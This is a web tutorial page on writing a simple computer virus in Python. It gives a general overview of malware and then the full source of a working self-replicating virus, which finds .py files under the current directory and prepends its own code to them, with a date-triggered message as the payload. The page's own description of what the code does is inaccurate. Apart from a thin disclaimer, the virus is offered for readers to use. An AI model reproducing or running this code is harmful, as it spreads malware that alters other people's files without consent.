How to make a simple computer virus in Python

Follow by Email
Facebook0
Facebook
Google+
https://codingsec.net/2016/11/make-simple-computer-virus-python/

A computer virus is a type of malicious software program (“malware”) that, when executed, replicates by reproducing itself (copying its own source code) or infecting other computer programs by modifying them.Infecting computer programs can include as well, data files, or the “boot” sector of the hard drive. When this replication succeeds, the affected areas are then said to be “infected” with a computer virus.The term “virus” is also commonly, but erroneously, used to refer to other types of malware. “Malware” encompasses computer viruses along with many other forms of malicious software, such as computer “worms”, ransomware, trojan horses, keyloggers, rootkits, spyware, adware, malicious Browser Helper Object (BHOs) and other malicious software. The majority of active malware threats are actually trojan horse programs or computer worms rather than computer viruses. The term computer virus, coined by Fred Cohen in 1985, is a misnomer. Viruses often perform some type of harmful activity on infected host computers, such as acquisition of hard disk space or central processing unit (CPU) time, accessing private information (e.g., credit card numbers), corrupting data, displaying political or humorous messages on the user’s screen, spamming their e-mail contacts, logging their keystrokes, or even rendering the computer useless. However, not all viruses carry a destructive “payload” or attempt to hide themselves—the defining characteristic of viruses is that they are self-replicating computer programs which install themselves without user consent.

Virus writers use social engineering deceptions and exploit detailed knowledge of security vulnerabilities to gain access to their hosts’ computers and computing resources. The vast majority of viruses target systems running Microsoft Windows, employing a variety of mechanisms to infect new hosts, and often using complex anti-detection/stealth strategies to evade antivirus software. Motives for creating viruses can include seeking profit (e.g., with ransomware), desire to send a political message, personal amusement, to demonstrate that a vulnerability exists in software, for sabotage and denial of service, or simply because they wish to explore cybersecurityissues, artificial life and evolutionary algorithms.

Here in this article we are going to code simple python virus

Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you.

<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i&gt;=0 and i &lt;39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>

The code performs a search for the python files and make all the strings to the Following String “HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT”S AN EVIL ALUGH BY THE WAY!!”.

 

Take your time to comment on this article.

Follow by Email
Facebook0
Facebook
Google+
https://codingsec.net/2016/11/make-simple-computer-virus-python/

17 Comments

  1. arif 2016-11-03 Reply
    • telon 2017-01-04 Reply
  2. dinesh 2016-11-03 Reply
    • advertisment 2017-01-04 Reply
    • Steve 2017-01-04 Reply
  3. aqef alhi dum abin 2016-11-03 Reply
  4. ssss 2016-11-03 Reply
  5. OverFreak 2016-11-03 Reply
  6. Ankit 2016-11-04 Reply
  7. MRX 2016-11-09 Reply
  8. Sai Preetham 2017-01-04 Reply
  9. abasusman 2017-02-13 Reply

Add a Comment

Your email address will not be published. Required fields are marked *

Like the article? please consider sharing it. Thank you

Advertisment ad adsense adlogger